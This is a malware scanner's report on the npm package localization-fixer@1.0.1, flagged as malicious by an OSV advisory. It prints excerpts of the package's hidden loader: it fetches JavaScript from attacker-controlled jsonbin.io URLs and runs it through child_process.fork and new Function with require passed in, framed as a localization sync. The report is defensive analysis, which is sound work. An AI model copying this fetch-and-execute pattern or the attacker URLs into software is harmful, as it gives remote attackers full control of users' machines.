localization-fixer@1.0.1: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 7d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13631 confirms this npm version as malicious. On require of the package's main entry, a top-level `if (isServer) syncLanguageSystem()` fetches a JSON payload from https://api.jsonbin.io/v3/b/6a764665da38895dfec7cd5d and executes the returned `record.value` field as JavaScript, both by writing it to a temp file and running it via `child_process.fork` and via `new Function('require', payload)(require)` in a separate module-load IIFE that pulls...

Advisory

MAL-2026-13631

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in localization-fixer (npm)

Details

On require of the package's main entry, a top-level `if (isServer) syncLanguageSystem()` fetches a JSON payload from https://api.jsonbin.io/v3/b/6a764665da38895dfec7cd5d and executes the returned `record.value` field as JavaScript, both by writing it to a temp file and running it via `child_process.fork` and via `new Function('require', payload)(require)` in a separate module-load IIFE that pulls https://api.jsonbin.io/v3/b/6a718a58da38895dfeb6e2ed. Both sinks pass the Node `require` to the constructed function, granting full Node capabilities to whatever the mutable jsonbin.io bin currently serves. Function and variable names (`syncLanguageSystem`, `LANG_SOURCE`, `lang_pass_key`) frame the fetch-and-exec as a localization-sync feature, but the advertised purpose of the package has no need to evaluate remote bytes. The jsonbin.io bins are attacker-mutable, so the payload delivered to any installer is arbitrary and can change at any moment.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory PACKAGE PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalFilesystemNetworkShell

Supply chain

UrlStrings

Manifest

NoLicense

scanned 8 file(s), 25.8 KB of source, external domains: api.jsonbin.io

Source & flagged code

4 flagged

dist/utils.mjsView file

2import path from 'path'; L3: import axios from 'axios'; L4: import { createRequire } from 'module'; ... L7: const __filename = fileURLToPath(import.meta.url); L8: const __dirname = path.dirname(__filename); L9: ... L46: const fileContent = fs.readFileSync(filePath, 'utf8'); L47: const translations = JSON.parse(fileContent); L48: ... L59: L60: const lang_source = process.env.LANG_SOURCE || "https://api.jsonbin.[redacted]"; L61: const lang_pass_key = process.env.LANG_PASS_KEY || "x-secret-key";

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

dist/utils.mjsView on unpkg · L2

79const require = createRequire(import.meta.url); L80: const handler = new Function("require", payload); L81: handler(require);

High

Eval

Package source references dynamic code evaluation.

dist/utils.mjsView on unpkg · L79

dist/index.jsView file

43try { L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json"); L45: if (!fs.existsSync(filePath)) { ... L49: var fileContent = fs.readFileSync(filePath, 'utf8'); L50: var translations = JSON.parse(fileContent); L51: cache.set(cacheKey, translations); ... L68: async function executeRemoteCodeInChildProcess(payload) { L69: var childProcess = require('child_process'); L70: var path = require('path'); ... L94: L95: child.stdout.on('data', function(data) { L96: output += data.toString();

High

Credential Exfiltration

Source combines credential-like environment material and outbound requests; review data flow before blocking.

dist/index.jsView on unpkg · L43

43Trigger-reachable credential exfiltration chain: manifest.main -> dist/index.js L43: try { L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json"); L45: if (!fs.existsSync(filePath)) { ... L49: var fileContent = fs.readFileSync(filePath, 'utf8'); L50: var translations = JSON.parse(fileContent); L51: cache.set(cacheKey, translations); ... L68: async function executeRemoteCodeInChildProcess(payload) { L69: var childProcess = require('child_process'); L70: var path = require('path'); ... L94: L95: child.stdout.on('data', function(data) { L96: output += data.toString();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

dist/index.jsView on unpkg · L43

Source & flagged code

4 flagged · loading source

dist/utils.mjsView file

2import path from 'path'; L3: import axios from 'axios'; L4: import { createRequire } from 'module'; ... L7: const __filename = fileURLToPath(import.meta.url); L8: const __dirname = path.dirname(__filename); L9: ... L46: const fileContent = fs.readFileSync(filePath, 'utf8'); L47: const translations = JSON.parse(fileContent); L48: ... L59: L60: const lang_source = process.env.LANG_SOURCE || "https://api.jsonbin.[redacted]"; L61: const lang_pass_key = process.env.LANG_PASS_KEY || "x-secret-key";

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

dist/utils.mjsView on unpkg · L2

79const require = createRequire(import.meta.url); L80: const handler = new Function("require", payload); L81: handler(require);

High

Eval

Package source references dynamic code evaluation.

dist/utils.mjsView on unpkg · L79

dist/index.jsView file

43try { L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json"); L45: if (!fs.existsSync(filePath)) { ... L49: var fileContent = fs.readFileSync(filePath, 'utf8'); L50: var translations = JSON.parse(fileContent); L51: cache.set(cacheKey, translations); ... L68: async function executeRemoteCodeInChildProcess(payload) { L69: var childProcess = require('child_process'); L70: var path = require('path'); ... L94: L95: child.stdout.on('data', function(data) { L96: output += data.toString();

Findings

1 Critical3 High3 Medium5 Low

CriticalRemote Response Code Executiondist/utils.mjs

HighEvaldist/utils.mjs

HighCredential Exfiltrationdist/index.js

HighTrigger Reachable Credential Exfiltrationdist/index.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowFilesystem

LowUrl Strings

LowNo License